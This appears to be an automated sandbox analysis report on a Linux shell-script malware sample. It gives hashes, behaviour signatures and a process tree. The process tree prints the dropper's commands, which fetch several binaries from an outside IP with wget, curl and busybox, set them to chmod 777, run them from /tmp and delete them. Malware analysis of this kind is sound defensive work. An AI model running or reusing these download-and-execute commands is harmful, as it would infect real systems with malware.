Analysis
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max time kernel
11s -
max time network
14s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
21/11/2024, 08:26
Static task
static1
Behavioral task
behavioral1
Sample
c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
Resource
debian9-mipsel-20240729-en
General
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Target
c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
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Size
10KB
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MD5
761e2fa6cb02a9f2286c4b3ab9c366b1
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SHA1
7863ee6c6bde7cdd84e2ced24347237ff83ae4bf
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SHA256
c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459
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SHA512
e89613581513d8fb590f845aaec4a5981010983317877dabfadeb2aaee5f12cb31beabd47fb65f091f8d5dd1f4fd5168ff11f7bd43badf191419f0c7bf77a24a
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SSDEEP
192:m5ZKXmXaXtGW47WK3BJ377AwjSeZ78Eoz3jOCI7DHSWOwOgOy5NK7dFIeYAw2EMn:antZiRQe/eY5
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 697 chmod 704 chmod 710 chmod 685 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV 686 sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV /tmp/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ 698 jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ /tmp/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV 705 uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV /tmp/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi 711 FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi -
Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV curl File opened for modification /tmp/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ curl File opened for modification /tmp/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV curl File opened for modification /tmp/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi curl
Processes
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/tmp/c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh/tmp/c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh1⤵PID:660
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/bin/rm/bin/rm bins.sh2⤵PID:663
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/usr/bin/wgetwget http://87.120.125.191/bins/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV2⤵PID:668
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/usr/bin/curlcurl -O http://87.120.125.191/bins/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:674
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV2⤵PID:682
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/bin/chmodchmod 777 sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV2⤵
- File and Directory Permissions Modification
PID:685
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/tmp/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV./sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV2⤵
- Executes dropped EXE
PID:686
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/bin/rmrm sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV2⤵PID:688
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/usr/bin/wgetwget http://87.120.125.191/bins/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ2⤵PID:689
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/usr/bin/curlcurl -O http://87.120.125.191/bins/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:692
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ2⤵PID:696
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/bin/chmodchmod 777 jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ2⤵
- File and Directory Permissions Modification
PID:697
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/tmp/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ./jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ2⤵
- Executes dropped EXE
PID:698
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/bin/rmrm jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ2⤵PID:699
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/usr/bin/wgetwget http://87.120.125.191/bins/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV2⤵PID:700
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/usr/bin/curlcurl -O http://87.120.125.191/bins/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:702
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV2⤵PID:703
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/bin/chmodchmod 777 uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV2⤵
- File and Directory Permissions Modification
PID:704
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/tmp/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV./uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV2⤵
- Executes dropped EXE
PID:705
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/bin/rmrm uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV2⤵PID:706
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/usr/bin/wgetwget http://87.120.125.191/bins/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi2⤵PID:707
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/usr/bin/curlcurl -O http://87.120.125.191/bins/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:708
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/bin/busybox/bin/busybox wget http://87.120.125.191/bins/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi2⤵PID:709
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/bin/chmodchmod 777 FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi2⤵
- File and Directory Permissions Modification
PID:710
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/tmp/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi./FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi2⤵
- Executes dropped EXE
PID:711
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/bin/rmrm FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi2⤵PID:712
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/usr/bin/wgetwget http://87.120.125.191/bins/mfkqxuRQZ8jcEQLo2T9kpSkGYT7qbxWFgz2⤵PID:713
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97